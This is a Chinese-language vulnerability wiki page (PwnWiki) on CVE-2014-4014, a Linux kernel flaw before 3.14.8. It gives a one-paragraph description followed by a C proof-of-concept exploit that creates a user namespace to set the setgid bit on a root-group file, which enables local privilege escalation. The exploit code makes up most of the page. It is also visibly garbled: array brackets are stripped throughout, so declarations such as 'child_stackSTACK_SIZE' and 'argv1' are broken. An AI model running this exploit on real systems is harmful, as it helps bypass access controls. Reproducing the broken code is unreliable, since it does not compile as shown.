Loading
0

CVE-2014-4014 Linux kernel before 3.14.8 权限提升漏洞

免费、自由、人人(PwnWiki.Com)可编辑的漏洞库

,

INFO

The capabilities implementation in the Linux kernel before 3.14.8 does not properly consider that namespaces are inapplicable to inodes, which allows local users to bypass intended chmod restrictions by first creating a user namespace, as demonstrated by setting the setgid bit on a file with group ownership of root.

cve-2014-4014.c

/**
 * CVE-2014-4014 Linux Kernel Local Privilege Escalation PoC
 *
 * Vitaly Nikolenko
 * email protected
 */

#define _GNU_SOURCE
#include <sys/wait.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <limits.h>
#include <string.h>
#include <assert.h>

#define STACK_SIZE (1024 * 1024)
static char child_stackSTACK_SIZE;

struct args {
    int pipe_fd2;
    char *file_path;
};

static int child(void *arg) {
    struct args *f_args = (struct args *)arg;
    char c;

    // close stdout
    close(f_args->pipe_fd1); 

    assert(read(f_args->pipe_fd0, &c, 1) == 0);

    // set the setgid bit
    chmod(f_args->file_path, S_ISGID|S_IRUSR|S_IWUSR|S_IRGRP|S_IXGRP|S_IXUSR);

    return 0;
}

int main(int argc, char *argv) {
    int fd;
    pid_t pid;
    char mapping1024;
    char map_filePATH_MAX;
    struct args f_args;

    assert(argc == 2);

    f_args.file_path = argv1;
    // create a pipe for synching the child and parent
    assert(pipe(f_args.pipe_fd) != -1);

    pid = clone(child, child_stack + STACK_SIZE, CLONE_NEWUSER | SIGCHLD, &f_args);
    assert(pid != -1);

    // get the current uid outside the namespace
    snprintf(mapping, 1024, "0 %d 1\n", getuid()); 

    // update uid and gid maps in the child
    snprintf(map_file, PATH_MAX, "/proc/%ld/uid_map", (long) pid);
    fd = open(map_file, O_RDWR); assert(fd != -1);

    assert(write(fd, mapping, strlen(mapping)) == strlen(mapping));
    close(f_args.pipe_fd1);

    assert (waitpid(pid, NULL, 0) != -1);
}

PWNWIK.COM==免费、自由、人人可编辑的漏洞库